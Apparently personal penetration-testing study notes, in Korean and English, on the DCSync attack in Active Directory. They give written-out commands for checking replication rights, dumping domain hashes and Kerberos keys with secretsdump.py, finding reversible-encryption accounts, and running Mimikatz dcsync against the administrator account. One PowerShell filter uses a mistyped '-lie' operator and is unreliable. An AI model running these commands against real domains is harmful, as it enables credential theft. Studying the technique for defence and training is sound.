<aside>
DCSync는 공격자가 DC인 것처럼 위장하여 다른 DC에게 “사용자 비밀번호 정보를 보내달라”고 요청하는 공격 기법이다. 일반적으로 AD 환경에서는 여러 대의 DC가 서로 최신 정보를 맞추기 위해 데이터를 복제 하는데, 이 매커니즘을 악용하는 것이다.
DS-Replication-Get-Changes (복제 변경 사항 가져오기)DS-Replication-Get-Changes-All (모든 복제 변경 사항 가져오기 - 비밀번호 포함)<aside>
DCSync replication can be performed using tools such as Mimikatz, Invoke-DCSync, and Impacket’s secretsdump.py
Get-DomainUser -Identity levi | select samaccountname,objectsid,memberof,useraccountcontrol | fl
Here we search specifically for replication rights and check if our user($sid) possesses these rights.
$sid = "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=[domain],DC=[.tld]" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ? {$_.SecurityIdentifier -match $sid} | select AceQualifier,ObjectDN,ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl
secretsdump.py -outputfile [outputfile] -just-dc [DOMAIN/levi@$IP]
secretsdump.py -outputfile [outputfile] -just-dc-ntlm [DOMAIN/levi@$IP]
secretsdump.py -outputfile [outputfile] -just-dc-user [DOMAIN/levi@$IP]
# -pwd-last-set
# -history
# -user-status
if we check the files created using the -just-dc flag, we will see that there are three: one containing the NTLM hashes, one containing Kerberos keys, and one that would contain cleartext passwords from the NTDS for any accounts set with reversible encryption enabled.
ls [outputfile]*
outputfile.ntds
outputfile.ntds.cleartext
outputfile.ntds.kerberos
When this option is set on a user account, it does not mean that the passwords are stored in cleartext. Instead, they are stored using RC4 encryption. The trick here is that the key needed to decrypt them is stored in the registry (the syskey) and can be extracted by a Domain Admin or equivalent.
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -lie '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | select samaccountname,useraccountcontrol
It is important to note that Mimikatz must be ran in the context of the user who has DCSync privileges. We can utilize runas.exe or RunAsCs to accomplish this.
runas.exe /netonly /user:HARI\\levi powershell
Using Mimikatz, we must target a specific user. Here we will target the built in administrator account.
.\\mimikatz.exe
privilege::debug
lsadump::dcsync /domain:HARI.LOCAL /user:HARI\\administrator
</aside>